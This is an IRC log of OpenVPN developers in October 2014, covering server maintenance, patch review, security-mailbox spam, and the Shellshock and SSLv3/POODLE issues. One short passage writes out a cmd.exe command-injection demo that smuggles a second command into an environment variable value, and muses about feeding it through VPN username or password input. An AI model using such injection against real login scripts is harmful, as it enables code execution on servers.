socket) back into "classic" 80.187.102.138 10:05 <@ecrist> cron2: phillip is updated, but your start script isn't working. I don't have openvpn installed on the system, and you might want to recompile what you have 10:05 <@ecrist> FreeBSD 10.0p9 10:05 <@cron2> ecrist: could you just install openvpn-devel port? 10:05 <@cron2> that should suffice 10:05 <@ecrist> sure 10:07 <@ecrist> you have a symlink from ./openvpn to /usr/local/sbin/openvpn.git.lz4 10:07 <@ecrist> which doesn't exist 10:07 <@cron2> oh :) 10:07 <@cron2> I'll just git fetch and recompile, then 10:08 <@cron2> ecrist: did you move the server to a new host etc? it feels much more snappy, and the network latency is better as well 10:10 <@ecrist> yes, new host 10:10 <@ecrist> VPS provider updated their platform, and I migrated this VM to the new platform 10:11 <@cron2> added a few pkgs (autoconf lzo2 snappy etc.) 10:13 <@cron2> soooo servers are running 10:13 <@ecrist> hurray, now we can ignore that system for another couple years 10:14 <@cron2> looks good 10:14 <@cron2> ecrist: well, we just need to synchronize a bit better who is responsible for what. I can do updates & maintenance, but I thought you were doing that. Both is OK for me 10:15 <@cron2> ecrist: do you know what the best thing about the new server is? 10:15 <@cron2> # bash --version 10:15 <@cron2> ksh: bash: not found 10:16 <@ecrist> :) 11:03 <@plaisthos> cron2: hm ffff:xxx should only be in the logs for a v6 socket 11:04 <@plaisthos> if you have a v4 socket it should show 80.187... 11:04 <@plaisthos> (these addresses have AF_INET6 as protocol) 11:04 <@cron2> plaisthos: yep, it's a v6 socket, but a v4 client 11:05 <@cron2> (of course it's a v6 socket, since someone did much work on the dual-stack support :-) ) 11:06 <@plaisthos> cron2: we would hack together our own impelment of getnameinfo 11:06 <@plaisthos> that detects mapped v4 addresses and prints v4 addresses 11:06 <@plaisthos> I would rather spent that time by implementing multiple server sockets ;) 11:06 <@cron2> plaisthos: afair we have a wrapper around getnameinfo() already anyway, so yes, that's what would be done. I just wanted to bounce the idea around :-) 11:09 <@plaisthos> cron2: yeah. I am sure if that is really helpful 11:09 <@plaisthos> I mean the ffff:a.b.c.d is already pretty user friendly (instead of showing the native ipv6 address) 11:10 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:10 <@cron2> it is, but the ::ffff: stuff is a bit silly, as the same log entry for the same IPv4 client depends on the way you bind the socket on the srever... 11:11 <@plaisthos> Netstat and other tools will also show the ffff stuff 11:11 <@cron2> I can see that this is useful information in netstat ("this is a v6 socket with a v4 client"). Is it useful information in an openvpn log, or confusing? 11:13 <@plaisthos> I would keep it at the moment 11:13 <@plaisthos> as soon as we have multiple sockets server capabilities it is becoming useful information 11:14 <@cron2> will it be useful enough to be repeated every single log line? Or just at "oh, incoming connection, on *that* socket with *that* protocol" time? 11:15 <@cron2> but yeah, I see that you're not enthusiastic :) 11:16 * cron2 <- afk for a while... bbl 11:44 <@plaisthos> cron2: feel free to implement it :) 11:45 <@plaisthos> I don't care enough about this coloured bikeshed ;) 11:45 <@plaisthos> but that has more implemications 11:46 <@plaisthos> iirc the environment variables passed to script will also change 12:53 -!- dazo is now known as dazo_afk 14:39 <@cron2> plaisthos: yes, that might well be - and I think that's actually a good one, because for the question "where is that connection coming from?" the answer should not depend on whether it's a v4 or dualstack-v6 socket 14:50 <@plaisthos> I am getting asked on OpenVPN source code license by a Samsung employee ... 14:51 <@cron2> heh :-) (actually we should get James to sell them an OpenVPN 3 license for $sillyamountofmoney and have a week-long party in Munich...) 14:53 <@cron2> regarding your patch on the list: I'm not sure if I parse the added paragraph. Who is asking whom, who is "Android Control", who is "The Gui" and whois "the daemon"? 14:55 <@plaisthos> cron2: hm the GUI should the UI 14:55 <@cron2> who is "Android Control"? Is that the GUI? 14:55 <@cron2> or are there actually 3 parties involved? 14:56 <@plaisthos> that is nonsense :D 14:56 <@cron2> awaiting v2 then :-) 15:00 <@ecrist> Gert, you're much nicer to people on @security than I am. 15:01 <@cron2> ecrist: had my share of fighting with dazo today already :-o - but yeah, have spent too much time on being diplomatic :) 15:04 <@plaisthos> cron2: mail is out 15:06 <@cron2> uh. To my untrained eye, the text looks quite the same...? 15:06 <@plaisthos> cron2: yeah I basically removed the Android Control non sense 15:07 <@plaisthos> the UI should be clear from the context 15:07 <@cron2> but it's still there in what you sent in v2 :) 15:07 <@plaisthos> wah? 15:07 <@plaisthos> v2 seems to be same as v1 15:07 <@cron2> yep 15:10 <@plaisthos> next try 15:15 <@cron2> hrmph 15:15 <@plaisthos> still wrong? : 15:15 <@plaisthos> ( 15:15 * cron2 is not amused to see hit-and-run ACKs on the devel list 15:16 <@cron2> instead of the normal process of "we have a patch, nobody cares, eventually you get an ACK", we have a patch that triggered a big discussion, and all of a sudden someone who has never sent in a patch or ACK before shows up and ACKs that patch. Funny coincidence 15:17 <@cron2> plaisthos: *your* v3 makes sense to me :) (and is different from v1). thanks 15:24 <@vpnHelper> RSS Update - gitrepo: Add documentation for PERSIST_TUN_ACTION (Android specific) <https://github.com/OpenVPN/openvpn/commit/5ca1d70fa030d4344e4b64a28811a6aab091e0d2> 15:37 <@cron2> so let's see if we can deescalate this, and find a reasonable middle ground 15:37 * cron2 goes to bed now, though 15:46 <@syzzer> good night, then :) 16:06 -!- mattock is now known as mattock_afk 16:15 <@plaisthos> why is --server-poll-timeout 0 as default? 16:20 * syzzer has never heard of --server-poll-timeout before... 16:21 <@syzzer> what does 0 mean? "don't wait"? "wait forever"? 16:25 <@plaisthos> not sure 16:26 <@plaisthos> I think it is don't arm this timeout 16:27 <@plaisthos> it is "if not sucessfully connected to server in n seconds, go to next connection" 16:53 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:53 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:54 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:54 -!- krzie is now known as krzee 19:34 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] --- Day changed Wed Oct 08 2014 00:29 -!- mattock_afk is now known as mattock 02:05 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:05 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:05 <@cron2> *sigh* 03:10 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:11 -!- dazo_afk is now known as dazo 05:54 -!- siruf [~siruf@unaffiliated/motley] has quit [Quit: Lost terminal] 05:54 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 05:54 -!- siruf_ is now known as siruf 06:00 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel --- Log closed Wed Oct 08 06:11:04 2014 --- Log opened Wed Oct 08 06:43:16 2014 06:43 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:43 -!- Irssi: #openvpn-devel: Total of 23 nicks [9 ops, 0 halfops, 3 voices, 11 normal] 06:43 !sinisalo.freenode.net [freenode-info] if you're at a conference and other people are having trouble connecting, please mention it to staff: http://freenode.net/faq.shtml#gettinghelp 06:43 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 06:43 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:16 <@cron2> ecrist: why are all the idiot users all of a sudden mailing security@openvpn.net??? 07:24 <@plaisthos> cron2: because of shellshock? 07:26 <@cron2> plaisthos: I would be inclined to believe this if they would ask things about *shellshock* (yesterday's idiot did, and when I told him "you just need to upgrade bash on your system" came back with "please tell me how to do that") 07:26 <@cron2> today's idiot is asking about "how to tie a MAC address to a VPN user" 07:28 <@ecrist> cron2: I don't know, but that email address is obviously too easy to find on the website 07:30 <@plaisthos> cron2: urgh 07:30 <@dazo> Can we have a hidden "securityteam" address ... and then security@o.n goes to a person who bounces the real issues to the securityteam? 07:33 <@ecrist> security@ was supposed to be that hidden address 07:33 <@ecrist> mattock see above 07:34 <@dazo> hmm ... seems we need to rename the security@ address then 07:35 <@syzzer> hiding it better should work too, it's a fresh idiot each time... ;-) 07:35 <@ecrist> the security address is right on the main "Contact" page 07:36 <@syzzer> ... which /is/ where you would expect it if you're a security researcher looking to contect the openvpn security team, ofc :p 07:37 <@syzzer> but yeah, too much spam :( 07:37 <@dazo> mmhm 07:38 <@dazo> maybe that address shouldn't be on the official contact page, but rather something strictly related to the community edition ... but unfortunately many idiots knows how to use google too ... 07:39 <+krzee> maybe idiotsupport@o.n? 07:39 <+krzee> for helping people upgrade bash and whatnot ;] 07:40 <@dazo> lol 07:41 * dazo goes for lunch 10:14 <@cron2> complete change of topic. Do we know anything about windows phone? Colleague asked me yesterday whether there's openvpn for it 10:14 <@cron2> mattock: anything inside openvpn tech? 10:16 <@ecrist> someone actually has a windows phone? 10:17 <@mattock> I haven't heard anything regarding Windows Phone support 10:17 <@mattock> probably nobody cares enough 10:18 <@mattock> I assume supporting it would require a separate tap-windows driver for the ARM architecture 10:18 <@mattock> Windows Phone does not have VPN API like Android and iOS afaik 10:23 <@cron2> ok, noted. "Don't buy one of those" 10:53 <+krzee> <mattock> probably nobody cares enough 10:53 <+krzee> ^^ that 10:54 <+krzee> literally the first time i have heard anybody ask about it 10:54 <+krzee> *seen 13:16 -!- dazo is now known as dazo_afk 14:07 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 14:07 -!- siruf_ [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 14:08 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 15:39 -!- mattock is now known as mattock_afk 15:41 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 15:42 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 18:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] --- Day changed Thu Oct 09 2014 00:42 -!- mattock_afk is now known as mattock 03:41 -!- dazo_afk is now known as dazo 04:04 < ender|> <dazo> Can we have a hidden "securityteam" address ... and then security@o.n goes to a person who bounces the real issues to the securityteam? <- don't write it out anywhere in the clear, idiots are extremely good at finding such addresses while not managing to find the proper places to get help from 04:04 <@dazo> true, so true .... consider my statement as a decoy! ;-) 04:06 < ender|> also, a red blinking "Do not download" on a webpage that has the source code for a program (separate from the Windows download, and not linked to with anything resembling a download link) will still generate loads of e-mails with "What do I do with the .c and .h files?" 04:07 <@dazo> :) 04:08 < ender|> i had a rule in my mail client that answered with a link to the specific FAQ 06:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 10:10 <@dazo> hmmm ... if someone can find a way to abuse a cmd.exe/command.com oddity, Winshock might a continuation of Shellshock .... 10:10 <@dazo> set foo=bar^&ping -n 1 localhost 10:10 <@dazo> echo %foo% 10:10 <@dazo> that'll echo 'bar' and run ping in the last echo statement 10:11 <@dazo> (source: http://www.dwheeler.com/essays/shellshock.html ) 10:11 <@vpnHelper> Title: Shellshock (at www.dwheeler.com) 10:17 < n13l> dazo: START /B %s -t20 %s ? 10:18 < n13l> dazo: START /B actually 10:19 <@dazo> n13l: hmmm ... I barely know Windows these days ... but if you're able to feed something via f.ex. openvpn configured to use --auth-user-pass-verify using a cmd.exe script .... and are able to start a program of your choice through the username or password input ... then you'll probably get some attention :) 10:21 <@dazo> n13l: here's an approach for openvpn with bash ... http://sprunge.us/BGjP 10:27 <@cron2> the nasty thing about bash is that it does not matter what your script does, because *bash* will do the nasties right away 10:28 <@cron2> for cmd, you need to at least handle the env variables in some way... so, like, a connect script that doesn't touch username/password wont be affected (unlike bash) 10:28 <@dazo> true 11:08 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:25 <@syzzer> cron2: found some time to peek at that commit to close #402 yet? *-) 14:33 -!- dazo is now known as dazo_afk 16:13 -!- mattock is now known as mattock_afk 18:08 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 18:08 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 18:23 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 18:24 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel --- Day changed Fri Oct 10 2014 01:15 -!- mattock_afk is now known as mattock 01:19 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:44 -!- mattock is now known as mattock_afk 01:47 -!- mattock_afk is now known as mattock 02:45 <@cron2> syzzer: 32bit-alignment was for performance "because James said so". I do not remember the exact reasons and results, tho 02:46 <@syzzer> ah, right. More reason to see if we can arrange a irc meeting to discuss Lev 02:46 <@syzzer> 's proposal, I think. 03:10 <@mattock> an IRC meeting would be nice to have 03:19 <@cron2> syzzer, mattock: yes, it's definitely high time. next tuesday? 03:19 <@mattock> tuesday? or thursday? 03:19 <@mattock> either one works for me 03:19 <@cron2> thursday 03:19 <@cron2> thursday always :-) 03:19 * cron2 <- fat fingers, brain not fully engaged, output sanitizer not working right yet 03:20 <@mattock> yep, nothing in calendar for thursday 03:31 <@cron2> so. back to fiddling with cisco boxes and ssh... 03:39 -!- dazo_afk is now known as dazo 03:46 <@plaisthos> syzzer: btw. AES-NI does not need any alignment on data 03:46 <@plaisthos> the load/store from the YMM registers is slow without right aligment though.... 04:09 <@plaisthos> there is movdqu for unaligned and MOVDQA for 16 byte (128 bit) aligned access 08:57 <@plaisthos> and my most used Refferer for this month is http://www.tech2developer.com/airtel-free-internet-unlimited-trick/ 08:57 <@vpnHelper> Title: Hack Unlimited 2G/3G Airtel Free Internet Trick 2014 - Tech2Developer (at www.tech2developer.com) 09:04 <@vpnHelper> RSS Update - tickets: #458: Ability to get the server's certificate for debugging of certificate validation issues <https://community.openvpn.net/openvpn/ticket/458> 10:01 <@vpnHelper> RSS Update - tickets: #459: [iOS] On Demand profiles added through Apple Configurator not working correctly <https://community.openvpn.net/openvpn/ticket/459> 10:16 -!- Irssi: #openvpn-devel: Total of 22 nicks [10 ops, 0 halfops, 3 voices, 9 normal] 10:35 <@syzzer> plaisthos: yes, I meant specifically if you want to improve speed 10:36 <@syzzer> though I think AES-GCM is the primary algorithm if you're doing harware accellaration, and that does not operate on your plaintext anyway. So then alignment is not that important. All you need then is a fast xor. 10:37 <@syzzer> cron2: next thursday works for me 10:41 <@cron2> good :) 10:59 <+krzee> hey syzzer you seen Dencrypt's new product? 10:59 <+krzee> https://www.google.com/patents/WO2013060876A1?cl=en 10:59 <@vpnHelper> Title: Patent WO2013060876A1 - Dynamic encryption method - Google Patents (at www.google.com) 11:33 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:38 -!- dazo is now known as dazo_afk 16:00 -!- mattock is now known as mattock_afk 17:47 <@vpnHelper> RSS Update - tickets: #460: EC key exchange not working <https://community.openvpn.net/openvpn/ticket/460> --- Day changed Sat Oct 11 2014 01:26 -!- mattock_afk is now known as mattock 03:07 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 04:28 <@cron2> syzzer: now that one (460) sounds like something for you :) 08:16 <@syzzer> krzee: no, I haven't. I'm not really sure what I'm looking at here. Did they try to patent the idea of encryption? 08:17 <@syzzer> cron2: sure looks that way. 08:17 * syzzer clicks 08:18 <@syzzer> nope. OpenVPN Connect. 08:18 <+krzee> http://www.sciencedaily.com/releases/2014/10/141007092106.htm 08:18 <@vpnHelper> Title: Private telephone conversations: Dynamic encryption keeps secrets -- ScienceDaily (at www.sciencedaily.com) 08:18 <+krzee> heres the media version 08:18 <+krzee> looks to me like the first layer is all that matters, because after that you get a precompiled binary that decrypts the rest… but maybe i misunderstand something 08:22 <@syzzer> yeah, I do not get the point either. AES is way to strong to break using brute-force. Maybe he did some really clever things, but to it sounds just like adding some obfuscation... 08:24 <+krzee> cool, that is what it seemed to me, but i was hopiong for your opinion since i trust it more than mine ;] 08:26 <@cron2> syzzer: thanks for looking. I wonder how trac works for Connect bugs... 08:26 <@syzzer> yeah, I can assign to to james, but otherwise I wouldn't know 08:28 <+krzee> https://www.schneier.com/blog/archives/2014/10/dynamic_encrypt.html 08:28 <@vpnHelper> Title: Schneier on Security: Dynamic Encryption for Voice (at www.schneier.com) 08:28 <@cron2> I have assigned a few connect bugs to James in the past, but I'm not sure he ever checks trac... need to check with mattock how the regular commercial support thing works 08:28 <@syzzer> krzee: Burce Schneier seems to agree with us: https://www.schneier.com/blog/archives/2014/10/dynamic_encrypt.html 08:28 <@vpnHelper> Title: Schneier on Security: Dynamic Encryption for Voice (at www.schneier.com) 08:29 <+krzee> :D see link 3 lines above =] 08:29 <+krzee> but he only kinda does… he says the article reads like snake oil but he doesnt think it is because of the author 08:30 <+krzee> but then in comments people are like "heres the patent, snake oil ahoy" 08:32 <@syzzer> oh, lol. If it's really 'revolutionary', we'll here soon enough after October 24th :) 08:33 <@syzzer> cron2: or put it on the agenda for the meeting if things are not clear 08:59 <@syzzer> That patch set from Fabian Knittel looks interesting. dazo_afk, you're the plugin master, did you take a loot at it? 13:15 <@cron2> syzzer: what? 17:06 <@vpnHelper> RSS Update - tickets: #461: Change default sndbuf and rcvbuf values <https://community.openvpn.net/openvpn/ticket/461> 17:21 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 18:08 -!- mattock is now known as mattock_afk --- Day changed Sun Oct 12 2014 02:54 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 04:43 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 04:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:25 <@cron2> mmmh, #461. "Yet another option that people get confused about" is bad, but I'm sure there was good reason for the existing code... 13:55 -!- mattock is now known as mattock_afk 15:00 -!- Netsplit *.net <-> *.split quits: riddle, Envil 15:01 -!- Netsplit over, joins: riddle 17:56 -!- siruf [~siruf@unaffiliated/motley] has quit [Read error: Connection reset by peer] 17:56 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel --- Day changed Mon Oct 13 2014 00:30 -!- mattock_afk is now known as mattock 01:23 <@mattock> I don't think James actively checks Trac 01:24 <@mattock> however, if we assign stuff to James we can send him a link to all of his ticket every now and then 02:12 <@vpnHelper> RSS Update - tickets: #462: Systemd unit file shall depend on network-online target <https://community.openvpn.net/openvpn/ticket/462> 02:25 <@cron2> mattock: there's a few tickets assigned to him, and a few more "Connect" tickets which might still be unassigned - so if one of the OpenVPN Tech support folks could check them every now and then, this would certainly be good 02:25 <@mattock> I can ask Johan would be willing 02:25 <@mattock> he handles most of the support requests related to AS and such 02:29 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:43 <@cron2> that would be cool - right now the impression is "nobody cares", which is not true :) 03:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 03:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:50 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:09 -!- dazo_afk is now known as dazo 04:10 <@dazo> syzzer: I've quickly looked at just the patches ... there's some good things there, but need to go deeper into the details here 04:27 <@syzzer> yes, I can imagine. They change quite a bit in the code structure. 06:04 <@cron2> dazo: I've thrown #462 in your lap - the explanation looks reasonable to me, even though it's no patch yet 06:45 <@dazo> cron2: I saw that, looks reasonable to me as well. I'll just double check how long the -online target has been available (I vaguely recall it from old discussions) 06:47 <@dazo> cron2: but I'd also like us to conclude somehow better on the other two patches on the ML too 12:39 -!- dazo is now known as dazo_afk 15:02 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:29 -!- mattock is now known as mattock_afk 18:18 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 21:52 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 21:52 -!- mode/#openvpn-devel [+o plai] by ChanServ 21:53 -!- roentgen_ [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 21:53 -!- mode/#openvpn-devel [+v roentgen_] by ChanServ 21:54 -!- Netsplit *.net <-> *.split quits: @plaisthos, @syzzer, +roentgen, waldner 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:00 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Oct 14 2014 00:23 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:23 -!- mode/#openvpn-devel [+o andj] by ChanServ 00:36 -!- mattock_afk is now known as mattock 00:40 -!- Netsplit *.net <-> *.split quits: shivanshu 00:46 -!- Netsplit over, joins: shivanshu 01:27 <@plai> mattock: what is the openvpn contact address? 01:27 <@plai> contact@? 01:31 <@plai> hm found it, info@ 01:59 -!- mattock is now known as mattock_afk 03:11 -!- dazo_afk is now known as dazo 04:17 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:25 -!- mattock_afk is now known as mattock 07:53 <@ecrist> mattock: just verifying some things, but it should be OK to remove the old forum VM now 08:24 <@cron2> rant 08:24 <@cron2> white-space mangled patches, all tabs replaced by space, and git am refusing to apply 08:24 <@cron2> trivial change, lots of work 09:04 <@mattock> ecrist: ok 09:17 <@dazo> cron2: --ignore-whitespace ;-) 09:17 <@cron2> yep, but your git-ack-am doesn't use that :-) - or does it take options? 09:18 <@dazo> ahh! no, it doesn't pass any arguments 09:19 <@dazo> the whole argument parsing could be far more clever in ack-am 09:19 <@cron2> it usually gets the job nicely done, though :) 09:19 <@dazo> yeah :) 09:27 <@vpnHelper> RSS Update - gitrepo: Implement on-link route adding for iproute2 <https://github.com/OpenVPN/openvpn/commit/baa195b9884e276c4fd3dc0c9e8a84b89ea71cfb> 10:06 <@cron2> dazo: uh. Would you push your commits, please...? I *did* check for updates before pushing mine and there was nothing... 10:07 * cron2 re-trains dazo in git :) (*duck&run*) 10:39 <@vpnHelper> RSS Update - gitrepo: extract_x509_extension(): hide status message during normal operation. <https://github.com/OpenVPN/openvpn/commit/ed5a400e138812cd6572845f4299f61e12716f53> 10:48 <@cron2> syzzer: your wish is my command, even if it sometimes takes a bit :) 10:59 <@dazo> eeek! 11:00 <@dazo> I hadn't noticed my push didn't run 11:02 <@dazo> f*** 11:04 <@vpnHelper> RSS Update - gitrepo: Ensure that client-connect files are always deleted <https://github.com/OpenVPN/openvpn/commit/7da9d40243e0743e2d050ceb6ae34e467dd58973> 11:04 <@dazo> okay, my tree was out-of-sync when I sent that mail the other day .... I've cleaned up now and things should be good now (git wise) but need to resend the mail 11:44 <@vpnHelper> RSS Update - tickets: #463: Small note about --cipher and --tls-cipher <https://community.openvpn.net/openvpn/ticket/463> 12:16 -!- dazo is now known as dazo_afk 13:21 <+krzee> syzzer, heads up http://www.theregister.co.uk/2014/10/14/nasty_ssl_30_vulnerability_to_drop_tomorrow/ 13:21 <@vpnHelper> Title: Nasty SSL 3.0 vuln to be revealed soon – sources • The Register (at www.theregister.co.uk) 13:21 <+krzee> looks like it may be windows specific so maybe not a biggie… we'll see 13:28 <@ecrist> no, it's not windows specific 13:29 <+krzee> where do you get that from? 13:29 <+krzee> oh grr i see where i got my false info from 13:29 <+krzee> the last pp talks about that other cve 13:30 <@ecrist> right 13:30 <@ecrist> CVE 2014-4114 is windows-only 13:30 <@ecrist> the other SSL 3 vulnerability isn't likely going to be platform specific 13:30 <+krzee> i guess i shouldnt skim ;] 13:30 <+krzee> well damn, this will be fun 13:30 * krzee ties down the roof 13:45 <@cron2> krzee: send patch, not open trac 13:45 <+krzee> "this is for the data channel" 13:45 <+krzee> "this is for the control channel" 13:45 <+krzee> thats my suggestion. 13:45 * ecrist might have a line on the vuln 13:47 <@cron2> dazo: as far as the client connect patch mess-up :-) - is that code also in 2.3? If yes, it would certainly qualify for a bugfix backport 13:47 <@cron2> (and yes, I know that I'm always asking this...) 15:03 -!- mattock is now known as mattock_afk 15:46 <@syzzer> cron2: thanks for the ack-'n-push! and sorry for screwing up the flow by putting an signed-of-by in the commit... 15:46 <@syzzer> krzee: thanks. has been buzzing around since yesterday, so it better be good ;) 15:47 <@syzzer> ecrist: if you're willing to share, I'm interested 15:47 <+krzee> ^ same 15:47 <+krzee> (but you know that :-p) 15:58 * cron2 needs to go sleep, see you tomorrow 15:59 <@syzzer> good night :) 17:01 <@ecrist> syzzer: I spoke too soon. My usual "guy" is in some inner circles, but even he hasn't heard much. I don't think this will affect openvpn, though. 17:01 <@syzzer> ecrist: no, I don't think so either - OpenVPN does not do SSLv3 :) 17:03 <@syzzer> aaargh, trying to cross-compile openssl for Windows using mingw - seems to much to ask. 17:03 <@syzzer> *** Error in `/usr/bin/x86_64-w64-mingw32-ld': free(): invalid pointer: 0x0000000001da3388 *** 17:58 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 19:02 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 20:30 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 20:30 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 20:31 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 260 seconds] 20:34 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 20:34 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Log closed Tue Oct 14 20:41:34 2014 --- Log opened Tue Oct 14 20:42:36 2014 20:42 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 20:42 -!- Irssi: #openvpn-devel: Total of 19 nicks [10 ops, 0 halfops, 3 voices, 6 normal] 20:42 !tepper.freenode.net [freenode-info] channel flooding and no channel staff around to help? Please check with freenode support: http://freenode.net/faq.shtml#gettinghelp 20:42 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 20:42 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 20:42 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 20:42 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 260 seconds] 20:43 -!- You're now known as ecrist --- Day changed Wed Oct 15 2014 00:34 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:34 -!- mode/#openvpn-devel [+o andj] by ChanServ 01:42 -!- Hes [clUCq@tunkki.fi] has joined #openvpn-devel 01:45 <@cron2> syzzer: isn't SSLv3 = TLS1.0? 01:50 <+krzee> no but tls1 was based on ssl3 01:50 <+krzee> http://en.wikipedia.org/wiki/Transport_Layer_Security#SSL_1.0.2C_2.0_and_3.0 01:50 <@vpnHelper> Title: Transport Layer Security - Wikipedia, the free encyclopedia (at en.wikipedia.org) 01:50 -!- dazo_afk is now known as dazo 01:52 <+krzee> tls1 spec normally provides fallback to ssl3, however: 01:52 <+krzee> <pekster> FYI, the magic in the source is src/openvpn/ssl_openssl.c:220, with SSL_OP_NO_SSLv3 01:54 <@cron2> these magic SSL_OP thingies are less than clear to me :) 01:55 <@cron2> but thanks for the wikipedia pointer, I did not know that 01:56 <+krzee> np 01:57 <+krzee> btw theres a free stanford law class on surviellance law, if you care about us law 01:57 <+krzee> it started today 01:57 <+krzee> its pretty cool, very good teacher 01:58 <+krzee> https://www.coursera.org/course/surveillance 01:58 <@vpnHelper> Title: Coursera.org (at www.coursera.org) 02:18 <@syzzer> just read the post, we're good :) 02:22 <@syzzer> reads like "storm in a teacup", which Google abuses to push there custom TLS extension. Just disabling SSLv3 (which was wise 'pre-noodle' anyway) is sufficient. 02:25 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:43 <@syzzer> In case we want an announcement, take a look at this: https://community.openvpn.net/openvpn/wiki/Poodle 02:43 <@vpnHelper> Title: Poodle – OpenVPN Community (at community.openvpn.net) 02:43 <@syzzer> should suffice I think? 02:52 < Hes> Since what version is that, I tried to go through git commits a bit, 4b67f9849ab3efe89268e01afddc7795f38d0f64 Date: Mon Jun 10 22:59:30 2013 -0600 02:53 < Hes> that one seems to do it, didn't map to openvpn version number yet 02:53 <@plai> syzzer: yeah. Maybe make it a bit more explicit: "No version of OpenVPN 2.x ever supported SSLv3 or SSLv3 fallback. OpenVPN always has been strictly TLS 1.0 or TLS 1.0+" 02:53 <@plai> Hes: that is in 2.3.3+ 02:54 <@plai> Hes: there is a seperate commit for master and 2.3.x 02:55 < Hes> ah, right. And it seems that before the commit it was TLSv1_server_method(), without newer TLS versions. 02:58 <@syzzer> plai: thanks. I like your version better indeed. I'll update. 03:01 <@plai> (I have no idea about OpenVPN 1.x) 03:07 <@syzzer> I don't think 1.0 did SSL, so no SSLv3 either 03:13 <@plai> ah right 03:19 <@plai> appearently Samsung is serious with publishing OpenVPN with KNOX support on Android 03:23 <@syzzer> plai: ah, cool. did they contact you? 03:23 <@cron2> *rant* 03:23 * cron2 expected to spend time on OpenVPN today, only interrupted by SSLv3 panic. Instead my wife's laptop spontaneously lost its WiFi chip 03:25 <@plai> syzzer: yeah. Asked if I maintain OpenVPN and I told them that about OpenVPN vs icsopenvpn and about the licenses 03:25 <@plai> syzzer: and now they asked me about a logo which I forwarded to OpenVPN tech 03:33 <@plai> syzzer: the idea behind this SCSV fallback stuff seems not that bad 03:33 <@plai> (apart from the fact that it is another bandaid for supporting broken ssl/tls configuration that break when disabling SSL3) 03:43 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 03:46 -!- plaisthos 